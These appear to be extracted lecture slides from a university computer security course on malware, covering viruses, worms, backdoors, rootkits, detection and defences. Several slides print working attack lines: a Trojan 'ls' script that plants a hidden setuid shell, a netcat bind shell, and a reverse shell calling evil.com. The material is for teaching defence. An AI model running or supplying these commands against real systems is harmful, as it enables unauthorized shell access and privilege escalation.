CSC 382: Computer SecuritySlide #1 CSC 382: Computer Security Malware

CSC 382: Computer Security Slide #1

CSC 382: Computer Security

Malware


Topic1. Types of Malware

1. Trojan Horses2. Viruses3. Worms4. Backdoors5. Rootkits

2. Self-Protection Mechanisms.3. Payloads.4. Malware Interactions.5. Detecting Malware.6. Defending against Malware.


Types of Malware

Trojan HorseTricks user into executing malicious code.

VirusCopies self into other files.

WormCopies self from computer to computer.

Backdoors Leaves opening for attacker to gain access.

Rootkits Hides attacker activities from system administrators.


What about Spyware?

Malware by any other name…– Corporate malware.– Presents legal issues for anti-malware software.


Trojan Horse

Program with both an overt and covert effect– Displays expected

behavior when user executes.

– Covert effect (executed with user’s privileges) violates security policy.

Attacker:cat >ls

cp /bin/sh /tmp/.xxsh

chmod u+s,o+x /tmp/.xxsh

rm ./ls

ls $*

^D

Victim:ls


Virus

Self-replicating code– Propagating (replicating) Trojan horse.– Inserts (possibly evolved) copy into other files.

Virus Pseudocode:If spread condition then

Foreach target-fileif not infected then copy virus to target-file

Perform (malicious) actionExecute normal code


Types of Viruses1. Boot Sector

– When system boots, code in boot sector executed.– Propagate by altering boot disk creation.– Uncommon today because of low use of boot

floppies.

2. Executable– Infects executable programs (e.g., COM, EXE).– Executes when infected program is run.– Virus usually runs first, then runs original code.

3. Dynamic Library– Infected dynamicly linked libraries (DLLs.)– Executed when any program uses infected DLL.


Types of Viruses

4. Device Driver– Infects loadable device driver.– Executes in kernel mode.

5. Virtual Machine (.NET)– Infects .NET MSIL binaries.– Portable: compiled to native code by CLR.

6. Archive Infectors– Inserts Trojan horse into ZIP files.– Uses social engineering techniques to get user to run.


Types of Viruses

7. Macro Virus– Infects embedded interpreted code.– Needs interpreter like sh, MS Word macro.– Can infect executables or data files

• Executables must invoke appropriate interpreter.

– Most modern data formats support some type of scripting, including

• Microsoft Office• Windows Help files• HTML: VBScript, JScript


Infection Methods

1. Overwriting– Overwrites program code with virus.– Breaks infected program.

2. Appending– Append virus code to executable.– Insert JMP at beginning of executable.

3. Prepending– Insert virus code at beginning of executable.– Shift original code to follow virus.


Infection Methods

4. Parasitic– Inserts virus code at beginning of executable.– Shifts beginning of program to end of file.

5. Cavity– Insert virus code into unused blocks of file.– Insert JMP at beginning of executable.

6. Fractionated Cavity– Fragment virus; inject into multiple cavities.– Loader reads fragments into continuous

memory.


Infection Methods

7. Compressing– Compresses executable to make space.

– Inserts virus and decompression code.

8. Fragmenting– Dynamically fragment virus.

– Insert fragments by overwriting or shifting code.

– Fragments JMP/CALL each other.

9. Companion– Infects COM file of same name as EXE file.

– Infects alternate data stream of Win32 file.


In-Memory StrategiesDirect Action

– Virus runs only when infected code is run.Memory Resident

– Remains active in memory after application terminates.– Interrupt hook (TSR) in DOS.– Kernel-mode rootkit techniques under modern OSes.– Can infect any program that runs after virus.– Example: Jerusalem Virus (Danube variant)

• Multipartite TSR virus.• Infects all executables except command.com.• Also infects boot sector.• Deletes files on Friday the 13th.


Worms

Copies self from one computer to anotherSelf-replicating: No user action required unlike

virus or Trojan horse programs.

Spreads via network protocolsex: SMTP (email), fingerd, MS SQL


History of Worms

Morris Worm Nov 1988 Disabled most of Internet using multiple vectors.

Melissa Mar 1999 MS Word macro virus spread via Outlook email.

Code Red Aug 2001 IIS Buffer overflow.

Code Green Sep 2001 Removed Code Red II and patched vulnerability.

Slammer Jan 2003 SQL Server worm infected Internet <1 hr.

Sobig Jun 2003 Spam zombie botnet; RCI.


Worm Components

1. Vector

2. Propagation Engine

3. Remote Control Interface

4. Target Selection Algorithm

5. Scanning Engine

6. Payload


Vector

Software to gain access to target host.

Common vectors:– Buffer overflow exploits.– Network file sharing, both NFS/SMB and P2P.– Social-engineering via email or IM.– Weak passwords.– Parasitism: target backdoors and worm flaws.


Propagation Engine

Transfers worm to host exploited by vector.– Small worms like Slammer included in vector.

Worm Propagation Methods:– FTP– HTTP– SMB– TFTP


Remote Control Interface

RCI allows creator to control infected hosts.Many worms do not have a RCI.

May be a well-known backdoor program.

Common remote control features:Start/stop infecting new targets.

Download new vectors.

Download new target selectors.

Download new payloads.


Target SelectionSelecting targets for potential infection.E-mail address harvesting

– Address books.– Parse disk files.– Search news groups.

Network share enumeration– Check for filesystems shared with other systems.

Network scanning– Target hosts on current network and connected nets.– Randomized scanning of Internet space.

Web searching– Search Google for addresses or vulnerable software.


Scanning Engine

Check targets for vulnerabilities.– If vector small, scanning can be skipped.

Scan for vulnerable services.– Like targeted nmap port scan.

OS Check– Check for correct OS for vector to work.

Version checking.– Check version of target software.– May customize vector based on information.


Morris Worm

• First Internet Worm: November 1988

• Multi-architecture: Sun, VAX

• Multi-vector– sendmail (debug backdoor)– fingerd (buffer overflow)– rsh (open .rhosts; password cracking)


Morris Worm

Spreading algorithmLocal network topology: gateways, neighbors.

Used users’ .rhosts, .forward files.

Limited reinfection rate.

Detection AvoidanceForged process listing as (sh).

Removed created files quickly after use.


Morris Worm

Resource RequirementsDisk Space.

C compiler and linker.

Network connection to parent computer.

ProblemsDidn’t limit re-infections.

Saturated CPU, network resources.



Types of Backdoors

1. Local Privilege Escalation

2. Remote Command Execution

3. Remote Shell Access

4. Remote GUI Control


Backdoor Techniques1. Trojan-horse login or hidden SUID root shell2. Open shell on high port, via netcat or inetd3. Reverse telnet connection4. Trojaned ssh running on a high port5. Telnet-type service on high UDP port6. Covert channel: Loki “ICMP telnet”7. CGI “shell” script on web server8. Port knocking: backdoor service only begins to listen on

port after a certain sequence of attempted connections are made to closed ports.

9. Sniffer-based backdoor: backdoor service begins to accept commands after receiving special packet not addressed to IP address.


Netcat Backdoors

# nc –l –p 2222 –e /bin/sh (server on victim)

$ nc victim.org 2222 (client on attacker host)

Netcat(client)

stdout

stdin

Netcat(server)

stdout

stdin

Network


Reverse Backdoors

• What if the firewall blocks port 2222?

• What if the firewall blocks all incoming connections to victim.org?

• Solution:– Run the listener on the attacker host (evil.com).

nc –l –p 80

– Run the client with a shell on the victim host.nc evil.com 80 –e /bin/sh


Finding Backdoor Scripts

Manual ScanTime-consuming and error prone.

AutomaticUNIX: chkrootkit, Titan

Windows: Autorun from www.sysinternals.com

File Integrity CheckHIDS like Tripwire

http://www.sysinternals.com/


What is a rootkit?

Collection of attacker tools installed after an intruder has gained access– Log cleaners– File/process/user hiding tools– Network sniffers– Backdoor programs


Rootkit Goals

1. Remove evidence of original attack and activity that led to rootkit installation.

2. Hide future attacker activity (files, network connections, processes) and prevent it from being logged.

3. Enable future access to system by attacker.

4. Install tools to widen scope of penetration.

5. Secure system so other attackers can’t take control of system from original attacker.


Rootkit Types

Binary Rootkits– Replace user programs like ls, netstat, and ps to

hide malicious activity– Add backdoors to programs like login and sshd

Library Rootkits– Replace core system libraries to intercept common

system calls to hide activities and add backdoors

Kernel Rootkits– Modify system calls/structures that all user-mode

programs rely on to list users, processes, and sockets– Add backdoors to kernel itself


Knark• Linux-based LKM rootkit• Features

– Hide/unhide files or directories – Hide TCP or UDP connections – Execution redirection – Unauthenticated privilege escalation – Utility to change UID/GID of a running process. – Unauthenticated, privileged remote execution daemon. – Kill –31 to hide a running process.

• modhide: assistant LKM that hides Knark from module listing attempts.


Rootkit Detection• Online scan

– Examine commonly changed files and logs.– Scan kernel modules, examine kernel memory.– Examples: chkrootkit or carbonite

• Offline system examination– Mount and examine disk using another OS

kernel+image.– Knoppix: live CD linux distribution.

• Computer Forensics– Examine disk below filesystem level.– Helix: live CD linux forensics tool.


Malware Self-ProtectionAnti-debugging

Detect/disable debuggers when used to analyze code.Attack anti-malware tools

Disable anti-malware tools upon infection.Kill processes or destroy/modify signatures.

API checksumsAvoid having UNIX/Win32 API calls in code.Store checksums of API names and search for match.

Code obfuscationUse unusual tricks and unused code to avoid dissassembly

and prevent quick analysis of purpose.Self-modifying code.


Self-Protection

CompressionCode looks almost random; size is smaller.

Use unusual executable packers to avoid analysis.

Data encryptionEncrypt strings, hostnames, IP addresses to avoid detection.

EmbeddingEmbed infection in one format inside a document inside an

archive file.

Scanners have to understand and have time to parse and decompress each file format.


Self-Protection

Entry-Point ObscuringChanging initial code or entry point easy to notice.

Alter program code to gain control randomly.

Host morphingAlter host file during infection to prevent removal.


Self-Protection: Encryption

Encrypt all code except small decryptor.– Note that copy protected files will have similar

decryptors to prevent analysis too.– Often uses multiple decryptors.– Change encryption key dynamically.

Random Decryption Algorithm (RDA)– Choose random key for encryption.– Brute force search for key to decrypt.– Slows VMs/debuggers used for analysis.


Self-Protection: Polymorphism

Alter malware code with each infection.– Cannot be detected by signature scanning.– May alter decryptor only or entire code.– Insert junk instructions that do nothing.– Fragment and rearrange order of code.– Alternate sets of instructions for the same task.

• Ex: SUB -1 instead of ADD 1

– Randomize names in macro viruses.


Case Study: Zmist

EPO, encrypted, polymorphic virus.

Code integrationDecompiles PE files to smallest elements.

Inserts virus randomly into existing code.

Rebuilds executable.

Polymorphic decryptorInserted as random fragments linked by JMPs.

Randomizes self with ETG engine.


PayloadsAccidentally destructive.

Replication damages data due or exhausts system resources due to malware bugs.

Ex: Morris Worm reinfected hosts, using all CPU.Nondestructive.

Displays message, graphics, sound, or open CD door.Ex: Christma worm on IBM network in 1987.

Destructive.Triggers randomly or on some event or machine type.Deletes files or overwrites data.Hardware destroyers: overwrite BIOS.


PayloadsDenial of Service

Sometimes accidental due to high network use.Launch DDOS attack with all infected systems.

Data TheftPhishing scams and spyware.

EncryptorsEncrypts user data.Ex: One_Half encrypts disk; enables access while running.Ex: AIDS Info: encrypts disk and holds for ransom.

SpamUse network of infected systems to launder spam email.Ex: Sobig worm.


Malware Interactions

What happens when a virus infects a worm?Typically both propagate.

May use each other’s self-protection techniques.

What if anti-virus software removes a virus?Likely leaves unknown virus/worm alone.

May mutate the malware into a new form.

Competition and ParasitismMalware may remove competing malware.

May exploit backdoors/RCI left by previous malware.

May infect competing malware, hijacking its propagation.


Theory of Malicious Code

Theorem 22-1: It is undecidable whether an arbitrary program contains a computer virus.

Proof:Define virus v as TM program that copies v to other parts

of the tape, while not overwriting any part of v.

Reduce to Halting Problem: T’ running code V’ reproduces V iff running T on V halts.

Theorem 22-2: It is undecidable whether an arbitrary program contains malicious logic.


Detecting Malware

Signature-based – Look for known patterns in malicious code.– Defeated by polymorphic viruses.

Smart scanning– Skips junk instructions inserted by poly engines.– Skips whitespace/case changes in macro viruses.

Decryption– Brute-forces simple XOR-based encryption.– Checks decrypted text against small virus sig to

decide whether has plaintext or not.


Detecting Malware

Code Emulation– Execute potential malware on VM.– Scan VM memory after certain # iterations.– Watch instructions for decryptor profile.

Code Optimization.– Optimize away junk instructions and odd

techniques used by polymorphic viruses.


Detecting Malware

Heuristics– Code execution starts in last section.– Suspicious code redirection.– Suspicious section ACLs or size.– Suspicious library routine imports.– Hard-coded pointers into OS kernel.

Neural Network Heuristics– IBM researchers trained neural net to recognize

difficult polymorphic viruses.– Released in Symantec antivirus.


Detecting Malware

Behavior-based – Watch for known actions from malicious code.– Network access signature of worm.– Unexpected use of dangerous system calls.

Integrity Checking– Host-based Intrusion Detection System.– Record MAC, size, dates, ACL of files.– Periodically check for changes.– ex: Tripwire, AIDE


Defences

Separate data and instructions– Virus treats program as data

• Writes self to file.

– Virus treats program as instructions• Virus executes when program is run.

– Solution: Treat all programs as data until trusted authority marks as executable.

• Development difficult when compilers can’t produce executable code.


Defences

Limit Information Flow– Virus executes with user’s identity.– Soln: Limit information flow between users.

• Set flow distance to be one for users A, B, C.

• A creates virus (fd=0), B executes it (fd=1).

• C cannot execute B’s infected program (fd=2).

– Indirect virus spread limited.– How can we track information flow?


Defences

Least Privilege– User drops

privileges when running program.

– Programs run with least privilege.

– ex: Limit files accessible by compiler stages.

Program Reads Writes Execs

cc *.[ch] *.s as, ld

as *.s *.o

ld *.[ao] *.out


Defences

SandboxingExecute code in protected region.

ex: sandbox, VM

Multilevel Integrity PoliciesPlace programs at lowest level.

Prevents processes from writing to lower levels.

ex: DG/UX virus protection region


Defences

Validate program actions with policyLimit access to system calls.Example: systrace.

Check statistical characteristics.Programmer style.Compare source code with object.Statistics of write frequencies, program

executions.


Defences

Counter-worms– A worm that removes specific target worms

from network.– ex: Nachi/Welchia

• Multi-vector W32 worm

• Nachi.A removes W32/Blaster worm

• Nachi.B removes W32/MyDoom worm


The Future: Speed

Fast Worms: Slammer– Attacked MS SQL servers.– Worm is single 404-bye UDP packet.– Random-scan (PRNG bugs limited.)– Limited by network bandwidth, not latency.– Observed scan rate of 26,000 hosts/second.– Infected 90% of vulnerable hosts in 10 min.– Too fast for humans to react.


The Future: Profit

Profitable Worms: Sobig– W32 worm using email/network share vectors.– Contains upgrade mechanism

• Worm checked sites every few minutes.• When site valid, downloaded code.• Later variants could update upgrade server list.

– Downloaded payload from upgrade mechanism• Key logger.• Wingate proxy server (for spam proxying.)


The Future: Offline ImpactDavis-Besse nuclear power plant

Slammer infected Plant Process Computer and Safety Parameter Display System (Jan 2003.)

Analog backups unaffected.Infected contractor’s network, then moved through T1

line that bypassed plant firewall.Seattle 911 system

Slammer disabled computer systems.Dispatchers reverted to manual systems.

2003 BlackoutBlaster infected First Energy systems.


Malware Trends 2005

ProfitBackdoor.Lala transfers authentication cookies

for eBay, PayPal, etc. to maker.PWSteal.Bancos automates phishing by

displaying fake web pages when browser goes to certain bank sites.

Spyware and AdwareMore than ever using Trojan techniques.Win32/Bube virus exploits IE flaw and acts as a

virus infecting IE, then downloads adware.


Malware Trends 2005

Online game attacksTrojans steal game identities/items, sell for $.

BotnetsEstimated growth of 300,000/month.

DoS, key/network logging, worm initialization.

IM WormsPrimarily VB code targeting MSN Messenger.

Typically use link to infected site with file, instead of using IM direct file transfer.


Malware Trends 2005

Mobile malwareCabir virus infecting Symbian OS mobile phones

using Bluetooth appeared June 2004.

Dozens of Trojans, viruses, and worms appeared using similar techniques.


References1. Ross Anderson, Security Engineering, Wiley, 2001.2. Matt Bishop, Computer Security: Art and Science, Addison-Wesley, 2003.3. William Cheswick, Steven Bellovin, and Avriel Rubin, Firewalls and Internet Security, 2nd

edition, 2003.4. Fred Cohen, http://www.all.net/books/virus/part1.html, 1984.5. Simson Garfinkel, Gene Spafford, and Alan Schartz, Practical UNIX and Internet Security,

3rd edition, O’Reilly & Associates, 2003.6. Alexander Gostev, “Malware Evolution: January - March 2005,”

http://www.viruslist.com/en/analysis?pubid=162454316, April 18 2005.7. Elias Levy, “Crossover: Online Pests Plaguing the Offline World,” IEEE Security & Privacy,

2003.8. Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed, 3rd edition, McGraw-Hill,

2001.9. Hilarie Orman, “The Morris Worm: A Fifteen-Year Perspective,” IEEE Security & Privacy,

200310. Cyrus Peikari and Anton Chuvakin, Security Warrior, O’Reilly & Associates, 2003.11. Ed Skoudis, Counter Hack, Prentice Hall, 2002.12. Ed Skoudis and Lenny Zeltser, Malware: Fighting Malicious Code, Prentice Hall, 2003.13. Staniford, Stuart, Paxson, Vern, and Weaver, Nicholas, ‘How to 0wn the Internet in Your

Spare Time,” Proceedings of the 11th USENIX Security Symposium, 200214. Peter Szor, The Art of Computer Virus Research and Defense, Addison-Wesley, 2005.

http://www.all.net/books/virus/part1.html

http://www.viruslist.com/en/analysis?pubid=162454316

Documents

CSC 382: Computer SecuritySlide #1 CSC 382: Computer Security Malware